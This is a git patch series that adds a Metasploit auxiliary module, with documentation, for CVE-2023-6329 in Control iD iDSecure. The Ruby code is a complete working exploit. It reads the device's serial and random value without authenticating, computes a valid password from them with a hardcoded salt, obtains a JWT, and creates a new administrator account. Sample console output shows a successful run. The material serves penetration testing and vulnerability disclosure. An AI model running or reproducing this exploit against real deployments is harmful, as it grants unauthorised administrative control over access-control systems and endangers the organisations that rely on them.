From 5fa18a66eed0e24403287ef4b522a1e33fd62e25 Mon Sep 17 00:00:00 2001 From: h4x-x0r <152236528+h4x-x0r@users.noreply.github.com> Date: Sun, 11 Aug 2024 05:41:07 +0100 Subject: [PATCH 1/4] Control iD iDSecure Authentication Bypass (CVE-2023-6329) Module Control iD iDSecure Authentication Bypass (CVE-2023-6329) Module --- .../admin/http/idsecure_auth_bypass.md | 59 +++++++ .../admin/http/idsecure_auth_bypass.rb | 165 ++++++++++++++++++ 2 files changed, 224 insertions(+) create mode 100644 documentation/modules/auxiliary/admin/http/idsecure_auth_bypass.md create mode 100644 modules/auxiliary/admin/http/idsecure_auth_bypass.rb diff --git a/documentation/modules/auxiliary/admin/http/idsecure_auth_bypass.md b/documentation/modules/auxiliary/admin/http/idsecure_auth_bypass.md new file mode 100644 index 000000000000..eb5fb518d063 --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/idsecure_auth_bypass.md @@ -0,0 +1,59 @@ +## Vulnerable Application + +This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure <= v4.7.43.0. It allows an +unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product. + +The advisory from Tenable is available [here](https://www.tenable.com/security/research/tra-2023-36), which lists the affected version +4.7.32.0. According to the Solution section, the vendor has not responded to the contact attempts from Tenable. While creating this MSF +module, the latest version available was 4.7.43.0, which was confirmed to be still vulnerable. + +## Testing + +The software can be obtained from the [vendor](https://www.controlid.com.br/suporte/idsecure). + +Deploy it by following the vendor's [documentation](https://www.controlid.com.br/docs/idsecure-en/). + +**Successfully tested on** + +- Control iD iDSecure v4.7.43.0 on Windows 10 22H2 +- Control iD iDSecure v4.7.32.0 on Windows 10 22H2 + +## Verification Steps + +1. Deploy Control iD iDSecure v4.7.43.0 +2. Start `msfconsole` +3. `use auxiliary/admin/http/idsecure_auth_bypass` +4. `set RHOSTS ` +5. `run` +6. A new administrative user should have been added to the web interface of the product. + +## Options + +### NEW_USER +The name of the new administrative user. + +### NEW_PASSWORD +The password of the new administrative user. + +## Scenarios + +Running the module against Control iD iDSecure v4.7.43.0 should result in an output +similar to the following: + +``` +msf6 > use auxiliary/admin/http/idsecure_auth_bypass +msf6 auxiliary(admin/http/idsecure_auth_bypass) > set RHOSTS 192.168.137.196 +[*] Running module against 192.168.137.196 + +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Version retrieved: 4.7.43.0 +[+] The target appears to be vulnerable. +[+] Retrieved passwordRandom: +[+] Retrieved serial: +[*] Created passwordCustom: +[+] Retrieved JWT accessToken: +[+] New user 'h4x0r:Sup3rS3cr3t!' was successfully added. +[+] Login at: https://192.168.137.196:30443/#/login +[*] Auxiliary module execution completed + +``` diff --git a/modules/auxiliary/admin/http/idsecure_auth_bypass.rb b/modules/auxiliary/admin/http/idsecure_auth_bypass.rb new file mode 100644 index 000000000000..a29e1c10e1d4 --- /dev/null +++ b/modules/auxiliary/admin/http/idsecure_auth_bypass.rb @@ -0,0 +1,165 @@ +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + CheckCode = Exploit::CheckCode + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Control iD iDSecure Authentication Bypass (CVE-2023-6329)', + 'Description' => %q{ + This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure <= v4.7.43.0. It allows an + unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product. + }, + 'Author' => [ + 'Michael Heinzl', # MSF Module + 'Tenable' # Discovery and PoC + ], + 'References' => [ + ['CVE', '2023-6329'], + ['URL', 'https://www.tenable.com/security/research/tra-2023-36'] + ], + 'DisclosureDate' => '2023-11-27', + 'DefaultOptions' => { + 'RPORT' => 30443, + 'SSL' => 'True' + }, + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] + } + ) + ) + + register_options([ + OptString.new('NEW_USER', [true, 'The new administrative user to add to the system', Rex::Text.rand_text_alphanumeric(8)]), + OptString.new('NEW_PASSWORD', [true, 'Password for the specified user', Rex::Text.rand_text_alphanumeric(12)]) + ]) + end + + def check + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/util/configUI') + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + return CheckCode::Unknown + end + + if res && res.code == 401 + data = res.get_json_document + version = data['Version'] + if version.nil? + return CheckCode::Unknown + else + print_status('Version retrieved: ' + version) + end + + if Rex::Version.new(version) <= Rex::Version.new('4.7.43.0') + return CheckCode::Appears + else + return CheckCode::Safe + end + else + return CheckCode::Unknown + end + end + + def run + # 1) Obtain the serial and passwordRandom + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/login/unlockGetData') + ) + + unless res + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') + end + case res.code + when 200 + json = res.get_json_document + if json.key?('passwordRandom') && json.key?('serial') + password_random = json['passwordRandom'] + serial = json['serial'] + print_good('Retrieved passwordRandom: ' + password_random) + print_good('Retrieved serial: ' + serial) + else + fail_with(Failure::UnexpectedReply, 'Unable to retrieve passwordRandom and serial') + end + else + fail_with(Failure::UnexpectedReply, res.to_s) + end + + # 2) Create passwordCustom + sha1_hash = Digest::SHA1.hexdigest(serial) + combined_string = sha1_hash + password_random + 'cid2016' + sha256_hash = Digest::SHA256.hexdigest(combined_string) + short_hash = sha256_hash[0, 6] + password_custom = short_hash.to_i(16).to_s + print_status("Created passwordCustom: #{password_custom}") + + # 3) Login with passwordCustom and passwordRandom to obtain a JWT + body = "{\"passwordCustom\": \"#{password_custom}\", \"passwordRandom\": \"#{password_random}\"}" + + res = send_request_cgi({ + 'method' => 'POST', + 'ctype' => 'application/json', + 'uri' => normalize_uri(target_uri.path, 'api/login/'), + 'data' => body + }) + + unless res + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') + end + case res.code + when 200 + json = res.get_json_document + if json.key?('accessToken') + access_token = json['accessToken'] + print_good('Retrieved JWT: ' + access_token) + else + fail_with(Failure::UnexpectedReply, 'Did not receive JWT') + end + else + fail_with(Failure::UnexpectedReply, res.to_s) + end + + # 4) Add a new administrative user + body = '{"idType": "1", ' \ + "\"name\": \"#{datastore['NEW_USER']}\", " \ + "\"user\": \"#{datastore['NEW_USER']}\", " \ + "\"newPassword\": \"#{datastore['NEW_PASSWORD']}\", " \ + "\"password_confirmation\": \"#{datastore['NEW_PASSWORD']}\"}" + + res = send_request_cgi({ + 'method' => 'POST', + 'ctype' => 'application/json', + 'headers' => { + 'Authorization' => "Bearer #{access_token}" + }, + 'uri' => normalize_uri(target_uri.path, 'api/operator/'), + 'data' => body + }) + + unless res + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') + end + + case res.code + when 200 + json = res.get_json_document + if json.key?('code') && json['code'] == 200 && json.key?('error') && json['error'] == 'OK' + print_good("New user '#{datastore['NEW_USER']}:#{datastore['NEW_PASSWORD']}' was successfully added.") + print_good("Login at: https://#{datastore['RHOSTS']}:#{datastore['RPORT']}/#/login") + else + fail_with(Failure::UnexpectedReply, 'Received unexpected value for code and/or error:\n' + json.to_s) + end + else + fail_with(Failure::UnexpectedReply, res.to_s) + end + end +end From c53e5d3c4e371d78ce1708a49a96494e8e720672 Mon Sep 17 00:00:00 2001 From: h4x-x0r <152236528+h4x-x0r@users.noreply.github.com> Date: Tue, 13 Aug 2024 23:12:50 +0100 Subject: [PATCH 2/4] Code cleanup and added store_valid_credential added store_valid_credential code cleanup --- .../admin/http/idsecure_auth_bypass.rb | 35 +++++++------------ 1 file changed, 12 insertions(+), 23 deletions(-) diff --git a/modules/auxiliary/admin/http/idsecure_auth_bypass.rb b/modules/auxiliary/admin/http/idsecure_auth_bypass.rb index a29e1c10e1d4..55186e7d95c6 100644 --- a/modules/auxiliary/admin/http/idsecure_auth_bypass.rb +++ b/modules/auxiliary/admin/http/idsecure_auth_bypass.rb @@ -50,23 +50,14 @@ def check return CheckCode::Unknown end - if res && res.code == 401 - data = res.get_json_document - version = data['Version'] - if version.nil? - return CheckCode::Unknown - else - print_status('Version retrieved: ' + version) - end - - if Rex::Version.new(version) <= Rex::Version.new('4.7.43.0') - return CheckCode::Appears - else - return CheckCode::Safe - end - else - return CheckCode::Unknown - end + return CheckCode::Unknown unless res&.code == 401 + + data = res.get_json_document + version = data['Version'] + return CheckCode::Unknown unless !version.nil? + print_status('Got version: ' + version) + return CheckCode::Safe unless Rex::Version.new(version) <= Rex::Version.new('4.7.43.0') + return CheckCode::Appears end def run @@ -79,8 +70,7 @@ def run unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end - case res.code - when 200 + if res.code == 200 json = res.get_json_document if json.key?('passwordRandom') && json.key?('serial') password_random = json['passwordRandom'] @@ -115,8 +105,7 @@ def run unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end - case res.code - when 200 + if res.code == 200 json = res.get_json_document if json.key?('accessToken') access_token = json['accessToken'] @@ -149,10 +138,10 @@ def run fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end - case res.code - when 200 + if res.code == 200 json = res.get_json_document if json.key?('code') && json['code'] == 200 && json.key?('error') && json['error'] == 'OK' + store_valid_credential(user: datastore['NEW_USER'], private: datastore['NEW_PASSWORD'], proof: json) print_good("New user '#{datastore['NEW_USER']}:#{datastore['NEW_PASSWORD']}' was successfully added.") print_good("Login at: https://#{datastore['RHOSTS']}:#{datastore['RPORT']}/#/login") else From 17149db5a3a24b484b6cd9055cc6b5295df06ae6 Mon Sep 17 00:00:00 2001 From: h4x-x0r <152236528+h4x-x0r@users.noreply.github.com> Date: Tue, 13 Aug 2024 23:23:35 +0100 Subject: [PATCH 3/4] code cleanup code cleanup --- modules/auxiliary/admin/http/idsecure_auth_bypass.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/http/idsecure_auth_bypass.rb b/modules/auxiliary/admin/http/idsecure_auth_bypass.rb index 55186e7d95c6..da7739bf149d 100644 --- a/modules/auxiliary/admin/http/idsecure_auth_bypass.rb +++ b/modules/auxiliary/admin/http/idsecure_auth_bypass.rb @@ -51,12 +51,14 @@ def check end return CheckCode::Unknown unless res&.code == 401 - + data = res.get_json_document version = data['Version'] - return CheckCode::Unknown unless !version.nil? + return CheckCode::Unknown if version.nil? + print_status('Got version: ' + version) return CheckCode::Safe unless Rex::Version.new(version) <= Rex::Version.new('4.7.43.0') + return CheckCode::Appears end From 3f3690bebb79f0adf5a31ea3a7a2e07d40b6aea2 Mon Sep 17 00:00:00 2001 From: h4x-x0r <152236528+h4x-x0r@users.noreply.github.com> Date: Mon, 19 Aug 2024 21:17:16 +0100 Subject: [PATCH 4/4] code cleanup code cleanup --- .../admin/http/idsecure_auth_bypass.rb | 99 ++++++++++++------- 1 file changed, 64 insertions(+), 35 deletions(-) diff --git a/modules/auxiliary/admin/http/idsecure_auth_bypass.rb b/modules/auxiliary/admin/http/idsecure_auth_bypass.rb index da7739bf149d..4255dff6bc73 100644 --- a/modules/auxiliary/admin/http/idsecure_auth_bypass.rb +++ b/modules/auxiliary/admin/http/idsecure_auth_bypass.rb @@ -72,20 +72,20 @@ def run unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end - if res.code == 200 - json = res.get_json_document - if json.key?('passwordRandom') && json.key?('serial') - password_random = json['passwordRandom'] - serial = json['serial'] - print_good('Retrieved passwordRandom: ' + password_random) - print_good('Retrieved serial: ' + serial) - else - fail_with(Failure::UnexpectedReply, 'Unable to retrieve passwordRandom and serial') - end - else + unless res.code == 200 fail_with(Failure::UnexpectedReply, res.to_s) end + json = res.get_json_document + unless json.key?('passwordRandom') && json.key?('serial') + fail_with(Failure::UnexpectedReply, 'Unable to retrieve passwordRandom and serial') + end + + password_random = json['passwordRandom'] + serial = json['serial'] + print_good('Retrieved passwordRandom: ' + password_random) + print_good('Retrieved serial: ' + serial) + # 2) Create passwordCustom sha1_hash = Digest::SHA1.hexdigest(serial) combined_string = sha1_hash + password_random + 'cid2016' @@ -107,24 +107,26 @@ def run unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end - if res.code == 200 - json = res.get_json_document - if json.key?('accessToken') - access_token = json['accessToken'] - print_good('Retrieved JWT: ' + access_token) - else - fail_with(Failure::UnexpectedReply, 'Did not receive JWT') - end - else + unless res.code == 200 fail_with(Failure::UnexpectedReply, res.to_s) end + json = res.get_json_document + unless json.key?('accessToken') + fail_with(Failure::UnexpectedReply, 'Did not receive JWT') + end + + access_token = json['accessToken'] + print_good('Retrieved JWT: ' + access_token) + # 4) Add a new administrative user - body = '{"idType": "1", ' \ - "\"name\": \"#{datastore['NEW_USER']}\", " \ - "\"user\": \"#{datastore['NEW_USER']}\", " \ - "\"newPassword\": \"#{datastore['NEW_PASSWORD']}\", " \ - "\"password_confirmation\": \"#{datastore['NEW_PASSWORD']}\"}" + body = { + idType: '1', + name: datastore['NEW_USER'], + user: datastore['NEW_USER'], + newPassword: datastore['NEW_PASSWORD'], + password_confirmation: datastore['NEW_PASSWORD'] + }.to_json res = send_request_cgi({ 'method' => 'POST', @@ -140,17 +142,44 @@ def run fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end - if res.code == 200 - json = res.get_json_document - if json.key?('code') && json['code'] == 200 && json.key?('error') && json['error'] == 'OK' - store_valid_credential(user: datastore['NEW_USER'], private: datastore['NEW_PASSWORD'], proof: json) - print_good("New user '#{datastore['NEW_USER']}:#{datastore['NEW_PASSWORD']}' was successfully added.") - print_good("Login at: https://#{datastore['RHOSTS']}:#{datastore['RPORT']}/#/login") - else - fail_with(Failure::UnexpectedReply, 'Received unexpected value for code and/or error:\n' + json.to_s) - end - else + unless res.code == 200 + fail_with(Failure::UnexpectedReply, res.to_s) + end + + json = res.get_json_document + unless json.key?('code') && json['code'] == 200 && json.key?('error') && json['error'] == 'OK' + fail_with(Failure::UnexpectedReply, 'Received unexpected value for code and/or error:\n' + json.to_s) + end + + # 5) Confirm credentials work + body = { + username: datastore['NEW_USER'], + password: datastore['NEW_PASSWORD'], + passwordCustom: nil + }.to_json + + res = send_request_cgi({ + 'method' => 'POST', + 'ctype' => 'application/json', + 'uri' => normalize_uri(target_uri.path, 'api/login/'), + 'data' => body + }) + + unless res + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') + end + + unless res.code == 200 fail_with(Failure::UnexpectedReply, res.to_s) end + + json = res.get_json_document + unless json.key?('accessToken') && json.key?('unlock') + fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s) + end + + store_valid_credential(user: datastore['NEW_USER'], private: datastore['NEW_PASSWORD'], proof: json.to_s) + print_good("New user '#{datastore['NEW_USER']}:#{datastore['NEW_PASSWORD']}' was successfully added.") + print_good("Login at: #{full_uri(normalize_uri(target_uri, '#/login'))}") end end